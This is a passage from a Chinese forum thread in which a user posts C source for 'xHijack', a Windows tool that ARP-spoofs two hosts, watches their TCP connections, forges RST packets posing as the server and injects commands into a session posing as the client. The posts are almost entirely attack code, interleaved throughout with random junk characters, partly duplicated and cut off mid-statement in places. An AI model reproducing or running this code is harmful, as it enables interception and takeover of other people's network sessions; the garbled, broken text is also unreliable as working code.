"%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); ( x* q& h6 Z# S$ y2 {* A( p, _ dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); " t- L- c. K) { if(dwRet != ERROR_BUFFER_OVERFLOW) 3 W- I6 _, Z9 c3 [' o& i1 H8 \7 R { + K, [% t$ L' {1 T" f# [0 L+ e# z printf("GetAdapterInfo error:%d\n", GetLastError()); 4 X0 K+ J) L3 s. T2 y return 0; 7 u0 _( D9 ]' c } ( Q$ H" v d9 L2 M! _# b& s& ] pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); / _6 e. D; C( O) U5 H" Y if(!pAdapterInfo) ; h M4 m9 i7 S { 5 S. A1 F; J! l5 x, q7 G0 u printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); " f8 r3 b. K# u9 ^; w return 0; - C# d7 _9 q3 A } # k3 ?" O* n8 b ~ dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 6 F& T% P+ j( ?0 S: {$ g% l+ j9 c if(dwRet != ERROR_SUCCESS) ' F$ k1 D) x/ ~$ x; T2 I { $ w+ l" _3 y5 b& ^. v printf("GetAdapterInfo error:%d\n", GetLastError()); . R& [! j. y9 h return 0; 2 G. z/ H: @, k: C5 W6 m } 0 o, q3 c" F+ V1 b% o! R: I pTmp = pAdapterInfo; 5 q: U5 L M2 \ while(pTmp) 2 W$ e1 b2 b/ p: |2 f* }/ n { 8 Q4 S% @5 R! o# p1 E% O2 L1 \* n //字符匹配
    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    void ResetActionAllFlag() $ |( |+ d7 ^8 g2 m
    {
    7 {" E2 m# g# u3 S) d- x  g_dwCtrlConn = 0; & ~7 N0 s# _9 q0 V. g
      g_pCurrCtrlConn = NULL;
    % Y8 I1 w/ x( {; R& D6 T1 R  g_dwAction = ACTION_NONE;
    $ {4 U+ h) g% |4 d/ ^. t( R6 @- L} ; E5 Z. Y& g: P! A
    $ Z$ d: A# R$ ]: D: B7 u5 u! B
    //
    " T* B2 n5 z1 }; _- k" d( G/ [( F//功能:处理Ctrl+C和Ctrl+Break事件
    ) e, V) ~+ _" @//
    ' [& E! ~5 q( i, W5 C  @BOOL WINAPI CtrlEvent(DWORD dwCtrlType) 0 n+ W) L3 t$ T
    { # `/ G. S# o# h- C+ N9 w! f
      switch(dwCtrlType)   U7 N4 U' t, q  W9 ?- R4 z
      { 4 s1 n; B" v9 b; q3 u2 }" n/ H
        case CTRL_BREAK_EVENT:
      e  \) O0 b/ H: \1 u8 _( H, L! Q      //reset action all flag
    7 }4 |6 K0 y4 L5 Q% ]$ o5 H/ q! T      ResetActionAllFlag(); 8 ^0 e" j8 |$ t! b, l
          break;
      c/ D8 K4 l7 r4 X6 l% L4 i    case CTRL_C_EVENT: 1 D& ?& {; J$ E* c. R" D
          //terminate all thread 9 Q3 t/ t2 H. [+ o1 N
          TerminateThread(g_hThread[0], 0);
    4 X0 B" j- t# Z9 @; S% ~" ~      TerminateThread(g_hThread[1], 0); 2 ?, _( K% p9 U# z" h* u. ^/ G5 u
          TerminateThread(g_hThread[2], 0);
    7 r7 t! B0 R/ l+ g/ V/ ?      TerminateThread(g_hThread[3], 0); 4 Y: S6 Y: b5 r; w- Z! ^& Y
          break;
    3 e! l' `) v& y: W    default: + x8 u8 [( S9 P$ x9 ]" i
          break; 4 G; ]6 _7 m( ~# c1 `
      } 3 R( C9 R5 l4 }$ P& L
      return TRUE;
    ; }) K7 D' K* T9 {9 f/ @$ c} 4 D9 V6 I, j. o: U' r
    / `) t8 m+ Z% o) I. B
    //
    2 d9 D' f+ ?% a( }, n//功能:处理用户输入
    $ N7 Y7 K9 g% j$ u//
    : C% ~2 p% z. y2 ~DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
    ) R" q- g1 g/ Q) Z' n{ 3 v  h4 [7 K! g6 ]8 P% ~7 e) \
      DWORD  i; ) o" U& t6 ?. {0 N
      char  szBuff[16]; 1 A( d3 g; g. ^+ h2 ^2 I' \
    " A2 q) K; U. |7 r
      *lpCommandPos = 0;
    " a$ ?2 ]8 i8 m8 p  for(i=0; i&lt;15, i代码比较乱 2 a5 {% n" v& B$ V+ U% {% T
    // - `6 G% T! a7 q$ C5 A5 M
    DWORD WINAPI InterfaceThread(LPVOID lp)
    ( R6 b% j" r% t8 U{ " K7 b6 o, j/ x# v. Y  j  C% Q
      char  szHelp[] =  "l\t\t&lt;-- List all connections\n"
    6 ^) ~5 `  J/ h            "r x\t\t&lt;-- Reset the number x connection\n"
    - d0 l' \  j) z$ m            "w x\t\t&lt;-- Watch the number x connection\n" 1 u0 d; C' a" I# Y) c4 k
                "h x command\t&lt;-- Hijack the number x connection to execute command\n" . `9 j4 G6 S0 R0 t2 P
                "[Note]\n"
    . a$ ~6 ?' g2 O            "Ctrl+Break to clear all action\n"   K1 l7 Q' ]1 U, k9 |( [9 s" t6 h& B
                "Ctrl+C to exit\n";
    * t; H; b1 M: W. ?9 r; z3 _1 |  char  szPrompt[] = "\nxHijack&gt;"; % k8 N. ]6 j4 J0 U, P
      char  szBuffer[128];
    0 f- o2 Y$ z+ h1 e4 p  DWORD  dwPos;
    $ `' L4 R/ _3 _, Z" A5 ?2 A1 h5 j7 O  PCONNINFO  pTmp; # q7 P* t) d; E! O8 I% m; j
    / q! U, m. |& ?6 o- m/ a
      while(1) : F& ~# P, W$ G3 d% y2 B
      {
    0 V. r4 T# ?2 Z; o    gets(szBuffer);//不考虑buffer overflow ; ?1 @$ L6 \5 M% \" b, J
        switch(szBuffer[0])
    ( y6 x! v' ]: t    {
    $ r6 X; |- z6 ^& i. L  M. O      case 'l':
      G. b* U* Z7 c7 o* o% W" N1 _  O& ^      case 'L':
    9 |! I& z- T2 ]        ListAllConnection(); 6 c4 i5 X( Z6 X$ K: y: H: V
            break;
    - I  O7 q: h# E6 N( V  y! N3 E      case 'r':
    - w, S/ T* d) `/ x      case 'R':
    5 T1 Y/ ^1 o9 u& W; x        if(strlen(szBuffer) &gt;2)
    0 p/ c, ~8 }/ v        {
    ) ?& O( B1 P$ \/ q# }6 B* K          g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos); , W: q' t+ y) H( P$ s! h* j% b- N
              g_dwAction = ACTION_RESET;
    " q. M6 y" |4 E) `2 e7 ~2 s        }
    3 s# R( G4 T4 {- I4 S7 E/ I6 `7 [        else printf("%s", szHelp);
    ) k1 R4 _2 \: C, D1 F( r* y4 r- N        break; * e! B8 F4 M3 \/ I$ ^! `
          case 'w': * J" e, M* m1 G
          case 'W': 4 V1 \' W7 L- ]. o( N
            if(strlen(szBuffer) &gt; 2)
    ( w; S/ j$ `& ~! }; s$ N        { 8 @6 g( Q( j( t* @& I
              g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos); & X0 E8 b/ [. l+ f: ?3 z" d3 G$ e
              g_dwAction = ACTION_WATCH; / M: O# H) p9 m7 I9 w/ A% Y( e- u+ [
            } 3 U, q4 Z9 v/ ?( W! ~
            else printf("%s", szHelp);
    * E: h/ Y" O1 h+ U8 L        break;
    4 [- z& m+ K: ]& }+ b* I+ w      case 'h': . h6 l- S( U% ]2 a, B# H
          case 'H'://h 1 xxx " E" w5 J" V  j# I
            if(strlen(szBuffer) &gt; 5)
    ( ~1 O4 I6 S) Y, q4 [        { / e! ?' J7 C; j7 x: o' I
              g_dwCtrlConn = GetConnNum(&amp;szBuffer[2], strlen(szBuffer) - 2, &amp;dwPos); . ^8 a3 E* t' x. f; I6 u
              //如果command第一个字符是'或"
    / m9 K- F) T7 S9 f8 s& |          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') ) " A( \5 H5 h  M2 o1 V* Z+ o: ^# b
              {
    " o# f: s9 J, q4 T8 B! s            strncpy(g_szCommand, &amp;szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
    * K( z1 T3 t$ A/ |  t2 [7 R7 F            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
    , r# d5 o7 }7 @  l' B: m5 q/ o  Z          }
    5 q5 C* C& v  e2 L$ p- D- c" ]          else strncpy(g_szCommand, &amp;szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
    8 q! a9 x9 D3 p0 ~          strcat(g_szCommand, "\x0D\x0A"); : v# [5 q) i, G0 N4 }+ V
              g_dwAction = ACTION_HIJACK; * A" W( v( ^7 p0 c
            } ( Y5 i  d9 W& ?: p7 W* y1 P, J5 \3 ?
            else printf("%s", szHelp);
    5 P7 L* p7 ~7 U4 h: b  l        break; 2 Q9 q2 s2 h- f. ~' X$ C( L6 v
          default:
    + `' N& y* p" J9 e2 t) D/ I7 a# U        printf("%s", szHelp);
      m  I# d  q& |6 W# x% o        break; : R: k! x) |+ z5 e" m
        }//end of switch % l" D! N3 L) s  g) ^3 ?. [9 K
        //find the specify ident's struct point 8 {% l4 b4 I3 E  E& I
        if( (g_dwCtrlConn) &amp;&amp; (g_dwAction) ) , O$ o6 S: @$ B6 n
        {
    " b0 j9 [2 w7 \2 x; Z) e      g_pCurrCtrlConn = NULL; 3 S! D6 @, ?) d7 Y3 e+ _( H% F
          pTmp = g_pConnHead;
    % z) q. u$ ]' E9 c5 ~      while(pTmp)
    ' `+ x, C  j7 M: b) Q+ R      { 0 ~; j/ [, q1 q0 `7 a9 J5 Q
            if((pTmp-&gt;ident == g_dwCtrlConn) &amp;&amp; (pTmp-&gt;bActive) )
    ; L2 o: U: w; t: h' J        {
    8 `' A$ e9 Z( p          g_pCurrCtrlConn = pTmp; 1 a' `% R& r# ]+ N6 F
              break; 7 d7 g. i2 z4 R9 X, ~$ u/ h9 O
            } 6 }! J3 M" ]0 j
            pTmp = pTmp-&gt;Next;
    ( O9 r1 O/ p$ P" q; {      }
      h! N0 P& V  C- O3 U      if(!g_pCurrCtrlConn) / v4 A. I( u/ v: z5 Y* Z5 A# {
          {
    2 N1 {/ _+ C9 {2 G! R" k; I; j" Y        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
    9 ^' }2 N+ A% v" a9 U, H        //reset action all flag
    $ c: ]  x+ ~& V3 K* x        ResetActionAllFlag();      
    % b+ g) I, c2 a. V: I5 V) Q6 _% n      }
    . W& V4 Y% W7 q7 y$ q5 W% }    } ! W4 G1 [) g8 f0 Q5 k' _
        if(!g_dwCtrlConn) ResetActionAllFlag(); : X' i+ E; X* k- i
        //显示当前用户所期望的动作
    5 O. k0 W; }& D" q  v4 p$ N3 b) g* D    printf("\nCurrentAction:"); ; _  ^. g/ d/ y% T( Y
        switch(g_dwAction)
    % O. V5 {/ I4 i    {
    : a) X3 q! [9 h4 p& Q3 `1 ?  C. y1 ~+ p      case ACTION_WATCH:
    6 `+ e# p- K0 Q. I! s        printf("ACTION_WATCH");
    9 i8 W8 W; v3 c) w; U  Z4 U, c        break;
    ; [2 U& ]; Y- w9 S1 R+ ^' S. d5 j      case ACTION_RESET:
    ( {/ M0 X* [: \) E  V- Z        printf("ACTION_RESET"); ) K- c! |9 g# z$ f8 T2 o/ L/ M
            break;
    2 j, w5 @' P6 P' {, W      case ACTION_HIJACK:
    , g% Y/ [& J! T& H$ F* ]6 ~( Q        printf("ACTION_HIJACK"); ! t) p% }3 U! S+ J
            break;
    4 j" I: Y6 q, r6 B- L$ l3 D      default: " I; o! ~2 r% c- g
            printf("ACTION_NONE");   H! h+ a( p9 P0 b. a" E
            break;
    : K, a0 \. l! @& e: B; m  F, L2 Y( |    } 6 n0 l8 k" n0 [
        printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt); - o. C0 p2 F9 _3 @) Q
      }//enf of while
    3 v, G3 \0 L/ @% I$ N- L  p  C4 {* f  return 0;
    0 e  L. f4 i% g}
    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    unsigned int  g_ServerSideIP,
    & e1 _  P# L  }9 h        g_ClientSideIP,
    + L8 E* E/ B& s9 O& f( l. l4 P* o        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 ( }$ Y/ G3 s4 _, a) W# U1 V
            g_TotalIP = 0;//
    / T7 ], z7 A+ \8 Z5 gunsigned char  g_szOwnMAC[6];//本机MAC地址
    " r  r, ]- y( {7 G9 qunsigned char  g_szClientSideMAC[6]; ; K7 g2 I; Z6 j2 d8 A" O% ^/ D
    unsigned char  g_szServerSideMAC[6];
    , R+ A2 V% o0 W) b9 s: r! Y( K0 Uchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 # v8 ]3 s3 |! D
    LPADAPTER    g_lpAdapter;
    ; y) F  F' ~, w//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
    % ~6 ^' J# \& i, }" Q" HHANDLE      g_hThread[4]; 9 X3 g5 l2 U: Q( ~. i
    char      g_szCommand[128];//command to execute after hijack
    ( g2 Q( `! }0 L6 U; K; O: PDWORD      g_dwAction;//action type
    * Y: _, g* s  ?3 u: A4 S5 ~) N3 |DWORD      g_dwCtrlConn;//action 所控制连接的标识
    5 S# e# c; V+ j1 O5 D4 \DWORD      g_ident;//节点标识,递增 1 i! v$ T4 [. G. D
    PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
    , H5 a# O* g! n6 M4 ~1 G' O+ O! H6 }# _, k        g_pConnHead = NULL,
    4 \8 z$ [6 t. E+ a6 `        g_pConnLast = NULL; 7 _7 z; e/ }" \0 V7 ~& o6 k: E
    char      g_szSendPacketBuf[1514]; 8 [$ e+ ]& l9 C. {
    LPPACKET    g_lpSendPacket; 0 r, L1 h) e- M
    //函数
    4 M" |. v6 K% S2 ovoid      usage(void); : t; h9 Z5 E/ q* G
    void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
    4 f+ v* q$ n* {0 avoid      ListAllConnection();//列出当前所有的连接
    % u$ y7 ~; ?$ H7 hvoid      ResetActionAllFlag(); . I; \/ \/ b5 U6 ~: w
    USHORT      checksum(USHORT *, int); : G8 w/ y  S8 w) e8 A
    BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 9 a6 [" i; z$ Q' n6 w
    BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 6 h) F2 j' y7 D* G# h6 _
    LPADAPTER    InitAdapter();//初始化一些参数和全局变量
    ; J3 R  G. U& q( Q2 WBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
    0 o6 G, ^$ G, N1 M" g# I8 I& _BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
      m- i) q% w9 X" uDWORD      GetConnNum(char *, DWORD, DWORD *); 4 T9 s" u& B$ H# T; C
    DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); " i( x" \5 A! ?: ~, M
    DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 2 p# c0 j( ^4 c
    DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 / h% g4 ?6 i! ~2 N0 H8 a
    DWORD  WINAPI  InterfaceThread(LPVOID);//
    & T8 B# W% b, _. @: a5 uBOOL  WINAPI  CtrlEvent(DWORD); , X/ m' ]1 v! J, _2 L8 r- k
    ! J/ K2 ]9 S' c! U: y8 C

    $ r7 z3 L& O. P  V8 ], m' H
    / y  C/ o, M$ l  |8 ?int main(int argc, char **argv) + ?8 K1 O4 N3 ?; }3 V. P1 U- f
    {
    $ L4 s. P, t4 G" _  struct    bpf_stat stat; # g. G' \! l; @7 p4 G8 c
      int      i;
    & q' T: a" K7 [% U& C2 _0 d: g; h" i& h& V+ p  w/ t* N! ]
      usage(); 9 W. z9 s4 D: a: i! |- C
      if (argc != 3) return 0;
    9 l! P% @$ A9 \& g6 P6 q! K  //取得参数
    7 b1 P9 q+ [/ V0 c. B6 x9 z  g_ServerSideIP = inet_addr(argv[1]); 1 Y$ _! z7 h9 m! x
      g_ClientSideIP = inet_addr(argv[2]);
    9 K6 t5 d, K! ~1 Y! L/ k  X0 N  //初始化adapter &amp; 一些全局变量
    4 }4 e  u5 \4 X$ t" t7 _! Z) D  g_lpAdapter = InitAdapter(); % O2 b7 G, [4 h
      if(!g_lpAdapter) return 0; & U: B& y0 ^& S" U
      //get ServerSide MAC &amp; ClientSide MAC
    & K, g  z) u2 V' ]% e5 y6 A7 O( f  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
    : e1 f: ~  x# z0 o# ?  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
    5 ~/ E2 _3 V4 e  //create arp spoof thread     
    0 {3 Q6 U1 c# M6 x& w/ P: j  i = 1; + ^' z( ?/ w9 E" O5 k. v
      g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
    2 ~  B0 x+ z  l& D. {  Sleep(500);
    4 o9 S% j0 P( Q2 u! r$ }: Z  i = 2;
    " g# Z1 k" I/ F3 Q9 m  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0); 4 _: d: |- f7 ]
      //create analyse packet thread ; C0 j3 y- M* I, S* B
      g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
    6 J1 p+ c4 [6 L4 c6 X2 ?4 `  //create interface thread   x6 |$ u# c! W/ x' |, a7 \& I  M
      g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); & c, t% U% a3 q& T' F
      //set console ctrl handle - s) y( F( s/ g/ A* @& j
      if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
    ! a  i4 [  c, w9 n! C  {
    1 c7 ~+ X% S( z+ h" h& L! g5 ~    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); & }4 Z$ V4 E& G) B+ _; ]' C% D
        return 0;
    0 [3 ?8 o- L7 C4 q. M9 H& z  } 4 w3 _) E! a) y7 ]1 A8 a* \
      //wait for any thread exit
    # R$ N* z, b( k+ B) |5 G% e1 e9 s8 Y  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
    ( _4 T: h4 e% a0 C5 K0 J/ _  //print the capture statistics ' E: B' |* \- G. Q
      if(PacketGetStats(g_lpAdapter, &amp;stat) == FALSE) / V+ u5 g% C# `+ Y6 Y& D
        printf("Warning: unable to get stats from the kernel!\n");
    8 p& _. l$ L# s* F$ y) D  else
    0 i) `; W7 X% C/ s* Q1 W. O    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
    , u3 t& I) a6 C8 k( a7 ?8 c  //free resource   ! n$ h6 W  Z* M* h% t2 W- m
      PacketFreePacket(g_lpSendPacket);
    6 _' H0 _2 s: {; H$ n  PacketCloseAdapter(g_lpAdapter); - q& g5 j2 F# Q
      return 0;
    : M! T/ g* F) v4 L}
    ) k2 h6 L/ V: L" K) d3 m
    ! j9 D) E, h4 W//
    0 B9 c7 Y3 J. ~# x//功能:重置所有于ACTION有关的标志
    9 Z4 A$ |7 B; D2 K+ |6 ~//
    回复

    使用道具 举报

    韩冰        

    823

    主题

    3

    听众

    4048

    积分

    我的地盘我做主

    该用户从未签到

    发帖功臣 元老勋章

    unsigned int  g_ServerSideIP, ) ?# M" I9 h( \) H; M) x
            g_ClientSideIP,
    3 [) Z6 P* F4 B* o/ J        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
    + x4 H# Q, D) z! @4 ]        g_TotalIP = 0;//
    - W% r: @2 s, q, F. @9 b3 o# Eunsigned char  g_szOwnMAC[6];//本机MAC地址 % C" t! N  J* i& O9 X' Y
    unsigned char  g_szClientSideMAC[6];
    8 B; h- A& k. w" D1 X! Xunsigned char  g_szServerSideMAC[6]; 7 a2 |2 O2 G- V: \
    char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 % d% Q" L- v/ ~" n7 U* l
    LPADAPTER    g_lpAdapter; * ]+ z( j* n: ?3 q6 {0 [
    //1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
    - j6 o. q0 d( a* X& zHANDLE      g_hThread[4]; 1 Y" d* Z/ K0 Z6 C' h$ d
    char      g_szCommand[128];//command to execute after hijack 9 x) U* j& x7 K% H  ?4 n( ]2 b* S4 }
    DWORD      g_dwAction;//action type
    + k0 [+ v( f& w' ^2 ]7 lDWORD      g_dwCtrlConn;//action 所控制连接的标识
    ) Z, B) c6 D- X5 l) ADWORD      g_ident;//节点标识,递增 & p3 ^. K3 s- W" X
    PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 . ]6 a# B8 M: M0 h4 u. c5 n
            g_pConnHead = NULL,
    & [# g* I4 p6 Z' ~$ l        g_pConnLast = NULL; , j8 W  C3 @' w/ f
    char      g_szSendPacketBuf[1514]; : b; y0 J4 Q# R5 s
    LPPACKET    g_lpSendPacket;
    " `. B# Y( v' W6 l- x//函数 ! E, f* G; P) F! Z
    void      usage(void);
    5 R" G: q# o! I2 k8 G8 h- q7 hvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); 1 F. z+ w* \' m, k6 y+ ?
    void      ListAllConnection();//列出当前所有的连接
    3 j# r2 t4 X/ A3 m: E* {2 p; ivoid      ResetActionAllFlag();
    1 o: H! D  k! \4 dUSHORT      checksum(USHORT *, int); - f5 P1 K7 j% c
    BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址   b6 a& M3 {. x" u5 \
    BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
    8 h/ {) f: @! o6 X0 a  cLPADAPTER    InitAdapter();//初始化一些参数和全局变量 6 m5 \% X6 D0 ?- o
    BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
    2 N; n5 x% C5 z/ X0 ]5 `BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
    , f- }; I, h# S) h1 _/ SDWORD      GetConnNum(char *, DWORD, DWORD *); , C( @( u1 d; V9 A; A  o" i
    DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
    ) C9 h. L0 j4 f- ODWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
    ; j0 T, s; d5 i7 o8 e0 [DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 / E: e3 b% x. e( P! ~
    DWORD  WINAPI  InterfaceThread(LPVOID);// 1 [8 k6 z/ R0 c3 D
    BOOL  WINAPI  CtrlEvent(DWORD);
    : Z" T: d; P! B& V0 F; z) ?# G) R; i' j
    ; q+ C# C* Y/ {& M
    " {: i8 c" d9 }+ v
    int main(int argc, char **argv)
    ( s# k8 M9 R' N{
    $ h3 K3 }8 [% ?  struct    bpf_stat stat;
    ; V' G$ d/ C9 I$ A  int      i; 1 ?) @& M! e: X8 ]9 n+ D

    " f/ [/ N( i3 P6 n  usage(); 6 v( ^1 A6 U/ L5 @6 K, D8 N6 V' @
      if (argc != 3) return 0; 5 |8 x6 c9 ~/ E6 D! m0 ^
      //取得参数 / l, B$ g$ ]+ V
      g_ServerSideIP = inet_addr(argv[1]); 6 A' s. j# N4 a' R; e/ p
      g_ClientSideIP = inet_addr(argv[2]); " o+ z9 ^+ ]" p3 T: r) N# `
      //初始化adapter &amp; 一些全局变量 + Y2 a, X" z: E
      g_lpAdapter = InitAdapter(); " E7 z' o" O9 u1 r  [
      if(!g_lpAdapter) return 0; 4 X1 D+ b: u8 j2 |
      //get ServerSide MAC &amp; ClientSide MAC $ I: p, W7 l) N' l
      if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
    * X9 o$ t( i: h4 e5 _; }  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; 4 \/ n( Z0 [0 G6 T' _$ Z
      //create arp spoof thread     ; {/ W7 ~) V5 B
      i = 1;
    , a" m7 [/ z* e  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0);
    ' I' c; k; D" H6 }6 N  Sleep(500); ( K3 M) y- L* ~4 D, W, B( _
      i = 2;
    7 t( ~+ S, G" h, ^* w- T  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &amp;i, 0, 0); , P; w4 U, i% ?- N* I; h
      //create analyse packet thread
    4 q) b6 N" S) }! K  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
    / k* k; |: R  W" Y: d" f  //create interface thread ! j6 i' h+ m" H$ f# e0 y/ l
      g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
    $ J5 o( t: M+ l. G* p7 v6 C- z  w  //set console ctrl handle . R8 @* n& L; X, C0 f. e( v: I% `
      if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) 6 w' J5 p3 ^9 y; U$ d) V  c; v
      { . X( r% A, L& c4 m+ R
        printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    - c7 d' n$ ?. b8 ?  r2 k3 _% z    return 0; 1 F( R) `; V! z) B0 E% }- z
      }
    ; ?& q( X! N% v5 ^  //wait for any thread exit
    5 L6 V  X; `; _  ]  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); ; P5 u3 o: }: V/ p' p6 w( J+ I& M
      //print the capture statistics
    * y' ~% f* U7 K' N9 a' x/ D  if(PacketGetStats(g_lpAdapter, &amp;stat) == FALSE) " M& I: i- n1 m! W( w
        printf("Warning: unable to get stats from the kernel!\n"); % a+ I* g% F% l. ~
      else
    ) c  n+ ?" I' q5 D8 B% s    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); 3 T: \* U" n1 K. k. Y
      //free resource   / I; v. ?+ C3 M) |4 ?
      PacketFreePacket(g_lpSendPacket);
    4 o$ n$ p# E* x0 u3 H: |  PacketCloseAdapter(g_lpAdapter);
    3 Y8 K% o6 P7 g3 }- W8 j  u  return 0;
    " i: l6 G3 P6 B: E2 d# m}
    ; z; F% D  G9 F& z+ u6 b; P
    * y7 _; {8 x$ I6 v6 a* `//
    6 G. R- R4 X3 _  Q/ H$ N; Y//功能:重置所有于ACTION有关的标志
      L8 Q1 ]5 R9 x//
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-4-18 03:52 , Processed in 0.509804 second(s), 91 queries .

    回顶部